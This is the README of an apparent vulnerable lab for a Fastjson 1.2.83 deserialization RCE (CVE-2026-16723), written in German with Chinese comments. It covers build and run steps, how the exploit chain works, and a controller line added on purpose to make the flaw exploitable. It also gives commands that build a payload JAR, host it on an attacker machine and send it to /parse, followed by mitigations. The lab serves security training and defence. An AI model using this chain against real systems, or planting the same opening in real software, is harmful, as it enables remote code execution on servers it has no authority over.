
Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)
Haftungsausschluss: Dieses Labor dient ausschließlich der Sicherheitsforschung, Lehrdemonstration und dem Aufbau von Verteidigungsmaßnahmen in autorisierten Umgebungen. Tests an nicht autorisierten Zielen können rechtswidrig sein. Die Folgen der Nutzung trägt der Nutzer selbst.
| Eigenschaft | Inhalt |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| Betroffene Versionen | Fastjson 1.2.68 ~ 1.2.83 |
| Schwachstellentyp | Remote Code Execution (RCE) per Deserialisierung |
| Kernmerkmal | Gadget-free (keine Abhängigkeit von Drittanbieter-Klassenbibliotheken) |
| Bedingungen für vollständige RCE | JDK 8 + Spring Boot Fat-JAR + SafeMode deaktiviert |
Fastjson 1.2.83
Als Spring Boot fat-JAR verpackt (enthält LaunchedURLClassLoader, eine für die Exploit-Kette erforderliche Komponente)
Entscheidende Zeile eingerichtet: Der ParseController wechselt vor dem Aufruf von JSON.parse() den Thread-ClassLoader zu LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())). Dies ist die notwendige Voraussetzung dafür, dass der @JSONType-Erkennungspfad Klassen remote laden kann.
Stellt die beiden Parse-Endpunkte /parse (JSON.parse) und /parseObject (JSON.parseObject) bereit
Fat-JAR aus dem Quellcode bauen (erforderlich: JDK 8 + Maven):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
Das Build-Artefakt liegt unter target/fastjson-rce-lab.jar.
Falls kein Maven installiert ist, kann auch das im Projekt enthaltene Maven Wrapper verwendet werden (
mvnwmuss zuvor konfiguriert werden).
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
Hinweis zu
--server.port=18080: In der Umgebung können Umgebungsvariablen wieSERVER__PORTdie Port-Konfiguration inapplication.propertiesüberschreiben. Durch die erzwungene Angabe über den Kommandozeilenparameter wird sichergestellt, dass der Port korrekt ist (Kommandozeilenparameter haben höchste Priorität).
Hinweis zu den JVM-Parametern:
-Xmx256m -XX:+UseSerialGCdienen dazu, einen stabilen Betrieb auf VMs mit wenig Arbeitsspeicher (z. B. Kali mit 2–4 GB) zu gewährleisten und OOM während der JVM-Initialisierung zu vermeiden. Bei ausreichend Arbeitsspeicher können sie entfernt werden.
curl http://127.0.0.1:18080/status
Erwartete Ausgabe:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
safeMode: false und vulnerable: true bedeuten, dass die Umgebung angreifbar ist.
1. Der Angreifer sendet ein speziell präpariertes JSON (@type verweist auf einen jar:http-Ressourcenpfad)
2. checkAutoType() von Fastjson wandelt typeName in einen Ressourcenpfad um ("typeName.replace('.', '/') + .class") und führt eine Erkundung durch
3. getResourceAsStream() löst LaunchedURLClassLoader aus → es wird eine HTTP-Anfrage gesendet, um das entfernte JAR abzurufen
4. ASM scannt den Bytecode und findet die @JSONType-Annotation → wird als Vertrauenssignal gewertet
5. Die Prüfung auf gefährliche Basisklassen wird übersprungen → loadClass() → defineClass()
6. Der statische Initialisierungsblock <clinit> wird ausgelöst → RCE
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
Ohne diese Zeile setContextClassLoader verwendet Fastjson den systemweiten Standard-AppClassLoader und kann keine entfernten Klassen über das jar:http://-Protokoll laden.
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
Das mitgelieferte poc/GenProbe.java des Repositories hatte zwei Kompatibilitätsprobleme, die behoben wurden:
/bin/bash -c → geändert in eine universelle Runtime.exec(String)-Variante (funktioniert unter Windows und Linux)"cmd /c xxx", für Linux-Labore direkt "touch /tmp/pwned" oder "bash -c xxx"Der vollständige Angriffsablauf findet sich in 靶场测试完整指南.md (im selben Verzeichnis). Enthalten sind:
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090
# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# JVM 启动参数
-Dfastjson.parser.safeMode=true
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 ist von dieser Schwachstelle nicht betroffen.
com.alibaba:fastjson:1.2.83_noneautotype verwenden| Methode | Pfad | Beschreibung |
|---|
| GET | / | Startseite der Lab-Umgebung (HTML) |
| GET | /status | Fastjson-Konfigurationsstatus (JSON) |
| POST | /parse | JSON.parse(body) — Hauptendpunkt zur Auslösung der Schwachstelle |
| POST | /parseObject | JSON.parseObject(body) — alternativer Auslösungs-Endpunkt |